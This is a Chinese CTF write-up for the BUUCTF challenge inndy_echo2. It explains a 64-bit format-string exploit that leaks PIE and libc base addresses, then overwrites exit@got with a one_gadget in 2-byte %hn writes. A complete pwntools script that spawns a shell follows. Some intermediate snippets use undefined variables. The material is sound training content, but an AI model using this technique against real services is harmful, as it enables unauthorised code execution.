[BUUCTF]PWN——inndy_echo2(PIE+64位fmt)

inndy_echo2

附件

步骤

  1. 例行检查,64位程序,开启了nx和pie
    在这里插入图片描述
  2. 本地试运行一下,看看大概的情况,猜测跟echo差不多。
    在这里插入图片描述
  3. 64位ida载入,跟32位echo一样的代码,只是多开了一个PIE
    在这里插入图片描述
    64位的格式化字符串漏洞,它跟32位有挺大区别的,要注意‘00’的截断,不可以像32位那样一步修改到位,它一次只可修改2字节。不清楚的先看这篇文章
  4. 首先对于PIE,我们要先想办法泄露程序基址
    在执行echo函数时,echo的栈帧的上一个元素存储了函数的返回地址,返回到main中,所以栈中必定有返回地址
    动调找一下程序的基址和libc
    动调步骤:
    gdb echo2
    b main
    r
    一直ni,直到输入点
    在输入点查看一下程序的偏移量,确定偏移为6
    在这里插入图片描述
    此时栈上的参数已经都加载好了,查看栈上的元素
    在这里插入图片描述
    可以看到参数直接存放在栈上,没用使用寄存器,因此数一下上图标记处的偏移,main+74是41,libc_start_main+240是43,这样就得到了程序的基址和libc基址
p.sendline('%41$p')
elf_base=int(p.recv(14),16)- 74 - 0x9b9      #0x9b9是开启了pie的main函数地址
success('elf base: '+hex(elf_base))
p.recv()
p.sendline('%43$p')
libc_start_main=int(p.recv(14),16)-240
success('libc_start_main addr: '+hex(libc_start_main))
  1. 现在我们要利用fgets函数来泄露libc
    之前动调的时候找到的偏移是6,利用这个偏移来泄露一下fgets@got,要注意‘00’截断,所以这边修改了一下,采用的
    p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr)),8*a是用来填充‘00’的
fgets_got_addr = elf_base + elf.got["fgets"]                             
exit_got = elf_base + elf.got["exit"]                                    
                                                                         
p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))                    
p.recvuntil("stop")                                                     
fgets_addr = u64(sh.recvuntil("aaaaaaaa",drop=True)[0:8].ljust(8,'\x00'))
print hex(fgets_addr)           
libc = LibcSearcher('fgets', fgets_addr)                                         

看到匹配的libc是2.23-64,在buu上下载
在这里插入图片描述

  1. 程序和libc基址有了,PIE可以绕过了,libc版本有了,可以尝试修改got表了。一开始还是像将printf@got改成system的,但是实操的时候发现有点问题,看其他师傅的wp都写的太精简了,没搞明白,就根据其他师傅的wp将exit改成了one_gadget
    在这里插入图片描述
exit_got = elf_base + elf.got["exit"]
one=[0x45216,0x4526a,0xf02a4,0xcd0f3,0xcd1c8,0xf02b0,0xf1147,0xf66f0]
one_gadget=one[2]+libc_base

one1=one_gadget&0xffff
one2=(one_gadget>>16)&0xffff
one3=(one_gadget>>32)&0xffff

payload=('%'+str(one1)+'c%8$hn').ljust(16,'.')+p64(exit_addr)
p.sendline(payload)
p.recv()
sleep(0.5)

payload=('%'+str(one2)+'c%8$hn').ljust(16,'.')+p64(exit_addr+2)
p.sendline(payload)
p.recv()
sleep(0.5)

payload=('%'+str(one3)+'c%8$hn').ljust(16,'.')+p64(exit_addr+4)
p.sendline(payload)
p.recv()
sleep(0.5)

最后输入exit即可调用one_gadget获取shell

完整exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'

p=remote('node3.buuoj.cn',25416)
#p=process('./echo2')
elf=ELF('./echo2')

p.sendline('%41$p')
elf_base=int(p.recv(14),16)- 74 - 0x9b9      
success('elf base: '+hex(elf_base))
p.recv()
p.sendline('%43$p')
libc_start_main=int(p.recv(14),16)-240
success('libc_start_main addr: '+hex(libc_start_main))

#fgets_got_addr = elf_base + elf.got["fgets"]                                                                                                                                     
#p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))                    
#p.recvuntil("stop")                                                     
#fgets_addr = u64(p.recvuntil("aaaaaaaa",drop=True)[0:8].ljust(8,'\x00'))
#print hex(fgets_addr)  
#libc = LibcSearcher('fgets', fgets_addr) 
#print hex(libc.dump('fgets')) 
                 
libc=ELF('./libc-2.23-64.so')
libc_base=libc_start_main-libc.sym['__libc_start_main']

exit_got = elf_base + elf.got["exit"]
one=[0x45216,0x4526a,0xf02a4,0xcd0f3,0xcd1c8,0xf02b0,0xf1147,0xf66f0]
one_gadget=one[2]+libc_base

one1=one_gadget&0xffff
one2=(one_gadget>>16)&0xffff
one3=(one_gadget>>32)&0xffff

payload=('%'+str(one1)+'c%8$hn').ljust(16,'.')+p64(exit_got)
p.sendline(payload)
p.recv()
sleep(0.5)

payload=('%'+str(one2)+'c%8$hn').ljust(16,'.')+p64(exit_got+2)
p.sendline(payload)
p.recv()
sleep(0.5)

payload=('%'+str(one3)+'c%8$hn').ljust(16,'.')+p64(exit_got+4)
p.sendline(payload)
p.recv()
sleep(0.5)

p.sendline('exit')
p.interactive()    

在这里插入图片描述

参考wp:https://www.cjovi.icu/WP/buu-inndy_echo2-wp.html

猜你喜欢

转载自blog.csdn.net/mcmuyanga/article/details/113512748